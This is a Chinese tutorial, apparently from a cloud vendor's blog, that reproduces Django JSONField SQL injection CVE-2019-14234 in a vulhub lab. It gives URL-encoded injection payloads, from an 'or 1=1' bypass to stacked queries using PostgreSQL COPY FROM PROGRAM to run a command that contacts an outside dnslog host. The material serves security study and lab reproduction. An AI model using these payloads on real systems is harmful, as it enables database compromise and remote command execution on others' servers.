Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
Django是一个开放源代码的Web应用框架,由Python写成。采用了MTV的框架模式,即模型M,视图V和模版T。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS软件。并于2005年7月在BSD许可证下发布。
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
Django 主开发分支
Django 2.2.x < 2.2.4
Django 2.1.x < 2.1.11
Django 1.11.x < 1.11.23
仅作漏洞复现记录与实现,利用流程如下:
本环境采用vulhub搭建
执行以下命令完成环境搭建
cd vulhub/django/CVE-2019-14234/ docker-compose up -d
启动完毕后信息如下
漏洞链接:http://192.168.101.152:8000/
访问如下图所示
首先访问http://192.168.101.152:8000/admin/登录后台,账户密码为admin/a123123123
登录后台后首先访问模型Collection的管理页面
http://192.168.101.152:8000/admin/vuln/collection/
添加get参数detail__a'引发sql语句报错,其中detail是模型Collection的JSONField
http://192.168.101.152:8000/admin/vuln/collection/?detail__a%27
构造语句
http://192.168.101.152:8000/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20--
由于or 1=1 永远为真,所以返回所有结果
Django一般与PostgreSQL一起配合使用,可以尝试利用PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
首先访问
http://192.168.101.152:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20
显示no results to fetch,语句已经执行
之后访问
http://192.168.101.152:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_execs%20FROM%20PROGRAM%20%27ping%20h7f2ni.dnslog.cn%20%27--%20
执行命令
可以看到,命令已经成功执行
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。